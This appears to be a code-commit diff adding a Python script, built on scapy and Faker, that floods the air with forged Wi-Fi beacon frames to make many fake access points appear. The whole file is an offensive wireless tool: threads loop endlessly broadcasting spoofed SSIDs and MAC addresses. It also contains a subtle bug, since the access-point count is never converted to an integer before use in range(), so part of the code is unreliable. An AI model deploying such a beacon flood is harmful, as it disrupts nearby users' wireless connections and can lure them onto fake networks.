|
| 1 | +from scapy.all import * |
| 2 | +from threading import Thread |
| 3 | +from faker import Faker |
| 4 | + |
| 5 | + |
| 6 | +def send_beacon(ssid, mac, infinite=True): |
| 7 | + dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac) |
| 8 | + # type=0: management frame |
| 9 | + # subtype=8: beacon frame |
| 10 | + # addr1: MAC address of the receiver |
| 11 | + # addr2: MAC address of the sender |
| 12 | + # addr3: MAC address of the Access Point (AP) |
| 13 | + |
| 14 | + # beacon frame |
| 15 | + |
| 16 | + beacon = Dot11Beacon() |
| 17 | + |
| 18 | + # we inject the ssid name |
| 19 | + essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) |
| 20 | + |
| 21 | + |
| 22 | + # stack all the layers and add a RadioTap |
| 23 | + frame = RadioTap()/dot11/beacon/essid |
| 24 | + |
| 25 | + # send the frame |
| 26 | + if infinite: |
| 27 | + sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0) |
| 28 | + else: |
| 29 | + sendp(frame, iface=iface, verbose=0) |
| 30 | + |
| 31 | + |
| 32 | +if __name__ == "__main__": |
| 33 | + import argparse |
| 34 | + |
| 35 | + parser = argparse.ArgumentParser(description="Fake Access Point Generator") |
| 36 | + parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode") |
| 37 | + parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated") |
| 38 | + args = parser.parse_args() |
| 39 | + n_ap = args.n_ap |
| 40 | + iface = args.interface |
| 41 | + |
| 42 | + # generate random SSIDs and MACs |
| 43 | + faker = Faker() |
| 44 | + |
| 45 | + ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ] |
| 46 | + for ssid, mac in ssids_macs: |
| 47 | + Thread(target=send_beacon, args=(ssid, mac)).start() |
0 commit comments